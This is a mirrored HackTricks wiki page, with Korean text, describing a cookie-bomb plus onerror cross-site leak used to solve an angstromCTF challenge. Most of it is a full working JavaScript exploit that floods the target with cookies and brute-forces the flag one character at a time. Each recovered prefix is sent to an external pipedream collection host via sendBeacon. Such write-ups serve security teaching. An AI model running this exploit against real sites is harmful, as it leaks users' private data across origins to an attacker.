mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
2.0 KiB
2.0 KiB
Cookie Bomb + Onerror XS Leak
{{#include ../../banners/hacktricks-training.md}}
다음 스크립트는 여기에서 가져온 것으로, 사용자가 임의의 양의 쿠키를 삽입할 수 있는 기능을 악용하고, 진짜 응답이 거짓 응답보다 더 클 것이라는 것을 알고 파일을 스크립트로 로드합니다. 성공하면 응답은 리디렉션이며 결과 URL이 더 길어져서 서버에서 처리하기에는 너무 커서 오류 HTTP 상태 코드를 반환합니다. 검색이 실패하면 URL이 짧기 때문에 아무 일도 일어나지 않습니다.
<>'";
<form action="https://sustenance.web.actf.co/s" method="POST">
<input id="f" /><input name="search" value="a" />
</form>
<script>
const $ = document.querySelector.bind(document)
const sleep = (ms) => new Promise((r) => setTimeout(r, ms))
let i = 0
const stuff = async (len = 3500) => {
let name = Math.random()
$("form").target = name
let w = window.open("", name)
$("#f").value = "_".repeat(len)
$("#f").name = i++
$("form").submit()
await sleep(100)
}
const isError = async (url) => {
return new Promise((r) => {
let script = document.createElement("script")
script.src = url
script.onload = () => r(false)
script.onerror = () => r(true)
document.head.appendChild(script)
})
}
const search = (query) => {
return isError(
"https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query)
)
}
const alphabet =
"etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ"
const url = "//en4u1nbmyeahu.x.pipedream.net/"
let known = "actf{"
window.onload = async () => {
navigator.sendBeacon(url + "?load")
await Promise.all([stuff(), stuff(), stuff(), stuff()])
await stuff(1600)
navigator.sendBeacon(url + "?go")
while (true) {
for (let c of alphabet) {
let query = known + c
if (await search(query)) {
navigator.sendBeacon(url, query)
known += c
break
}
}
}
}
</script>
{{#include ../../banners/hacktricks-training.md}}